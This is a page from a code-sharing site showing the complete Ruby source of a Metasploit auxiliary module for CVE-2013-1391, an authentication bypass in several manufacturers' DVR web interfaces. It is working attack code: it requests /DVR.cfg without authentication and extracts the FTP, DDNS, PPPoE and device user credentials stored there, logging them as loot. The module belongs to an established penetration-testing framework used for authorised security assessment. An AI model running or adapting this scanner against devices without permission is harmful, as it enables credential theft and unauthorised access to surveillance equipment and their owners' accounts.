CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/scanner/misc/dvr_config_disclosure.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::HttpClient
8
include Msf::Auxiliary::Report
9
include Msf::Auxiliary::Scanner
10
11
def initialize
12
super(
13
'Name' => 'Multiple DVR Manufacturers Configuration Disclosure',
14
'Description' => %q{
15
This module takes advantage of an authentication bypass vulnerability at the
16
web interface of multiple manufacturers DVR systems, which allows to retrieve the
17
device configuration.
18
},
19
'Author' =>
20
[
21
'Alejandro Ramos', # Vulnerability Discovery
22
'juan vazquez' # Metasploit module
23
],
24
'References' =>
25
[
26
[ 'CVE', '2013-1391' ],
27
[ 'URL', 'http://www.securitybydefault.com/2013/01/12000-grabadores-de-video-expuestos-en.html' ]
28
],
29
'License' => MSF_LICENSE
30
)
31
32
end
33
34
def get_pppoe_credentials(conf)
35
36
user = ""
37
password = ""
38
enabled = ""
39
40
if conf =~ /PPPOE_EN=(\d)/
41
enabled = $1
42
end
43
44
return if enabled == "0"
45
46
if conf =~ /PPPOE_USER=(.*)/
47
user = $1
48
end
49
50
if conf =~ /PPPOE_PASSWORD=(.*)/
51
password = $1
52
end
53
54
if user.empty? or password.empty?
55
return
56
end
57
58
info = "PPPOE credentials for #{rhost}, user: #{user}, password: #{password}"
59
60
report_note({
61
:host => rhost,
62
:data => info,
63
:type => "dvr.pppoe.conf",
64
:sname => 'pppoe',
65
:update => :unique_data
66
})
67
68
end
69
70
71
def get_ddns_credentials(conf)
72
hostname = ""
73
user = ""
74
password = ""
75
enabled = ""
76
77
if conf =~ /DDNS_EN=(\d)/
78
enabled = $1
79
end
80
81
return if enabled == "0"
82
83
if conf =~ /DDNS_HOSTNAME=(.*)/
84
hostname = $1
85
end
86
87
if conf =~ /DDNS_USER=(.*)/
88
user = $1
89
end
90
91
if conf =~ /DDNS_PASSWORD=(.*)/
92
password = $1
93
end
94
95
if hostname.empty?
96
return
97
end
98
99
info = "DDNS credentials for #{hostname}, user: #{user}, password: #{password}"
100
101
report_note({
102
:host => rhost,
103
:data => info,
104
:type => "dvr.ddns.conf",
105
:sname => 'ddns',
106
:update => :unique_data
107
})
108
109
end
110
111
def get_ftp_credentials(conf)
112
server = ""
113
user = ""
114
password = ""
115
port = ""
116
117
if conf =~ /FTP_SERVER=(.*)/
118
server = $1
119
end
120
121
if conf =~ /FTP_USER=(.*)/
122
user = $1
123
end
124
125
if conf =~ /FTP_PASSWORD=(.*)/
126
password = $1
127
end
128
129
if conf =~ /FTP_PORT=(.*)/
130
port = $1
131
end
132
133
if server.empty?
134
return
135
end
136
137
report_cred(
138
ip: server,
139
port: port,
140
service_name: 'ftp',
141
user: user,
142
password: password,
143
proof: conf.inspect
144
)
145
end
146
147
def report_cred(opts)
148
service_data = {
149
address: opts[:ip],
150
port: opts[:port],
151
service_name: opts[:service_name],
152
protocol: 'tcp',
153
workspace_id: myworkspace_id
154
}
155
156
credential_data = {
157
origin_type: :service,
158
module_fullname: fullname,
159
username: opts[:user],
160
private_data: opts[:password],
161
private_type: :password
162
}.merge(service_data)
163
164
login_data = {
165
core: create_credential(credential_data),
166
status: Metasploit::Model::Login::Status::UNTRIED,
167
proof: opts[:proof]
168
}.merge(service_data)
169
170
create_credential_login(login_data)
171
end
172
173
def get_dvr_credentials(conf)
174
conf.scan(/USER(\d+)_USERNAME/).each { |match|
175
user = ""
176
password = ""
177
active = ""
178
179
user_id = match[0]
180
181
if conf =~ /USER#{user_id}_LOGIN=(.*)/
182
active = $1
183
end
184
185
if conf =~ /USER#{user_id}_USERNAME=(.*)/
186
user = $1
187
end
188
189
if conf =~ /USER#{user_id}_PASSWORD=(.*)/
190
password = $1
191
end
192
193
if active == "0"
194
user_active = false
195
else
196
user_active = true
197
end
198
199
report_cred(
200
ip: rhost,
201
port: rport,
202
service_name: 'dvr',
203
user: user,
204
password: password,
205
proof: "user_id: #{user_id}, active: #{active}"
206
)
207
}
208
end
209
210
def report_cred(opts)
211
service_data = {
212
address: opts[:ip],
213
port: opts[:port],
214
service_name: opts[:service_name],
215
protocol: 'tcp',
216
workspace_id: myworkspace_id
217
}
218
219
credential_data = {
220
origin_type: :service,
221
module_fullname: fullname,
222
username: opts[:user],
223
private_data: opts[:password],
224
private_type: :password
225
}.merge(service_data)
226
227
login_data = {
228
core: create_credential(credential_data),
229
status: Metasploit::Model::Login::Status::UNTRIED,
230
proof: opts[:proof]
231
}.merge(service_data)
232
233
create_credential_login(login_data)
234
end
235
236
def run_host(ip)
237
238
res = send_request_cgi({
239
'uri' => '/DVR.cfg',
240
'method' => 'GET'
241
})
242
243
if not res or res.code != 200 or res.body.empty? or res.body !~ /CAMERA/
244
vprint_error("#{rhost}:#{rport} - DVR configuration not found")
245
return
246
end
247
248
p = store_loot("dvr.configuration", "text/plain", rhost, res.body, "DVR.cfg")
249
vprint_good("#{rhost}:#{rport} - DVR configuration stored in #{p}")
250
251
conf = res.body
252
253
get_ftp_credentials(conf)
254
get_dvr_credentials(conf)
255
get_ddns_credentials(conf)
256
get_pppoe_credentials(conf)
257
258
dvr_name = ""
259
if res.body =~ /DVR_NAME=(.*)/
260
dvr_name = $1
261
end
262
263
report_service(:host => rhost, :port => rport, :sname => 'dvr', :info => "DVR NAME: #{dvr_name}")
264
print_good("#{rhost}:#{rport} DVR #{dvr_name} found")
265
end
266
end
267
268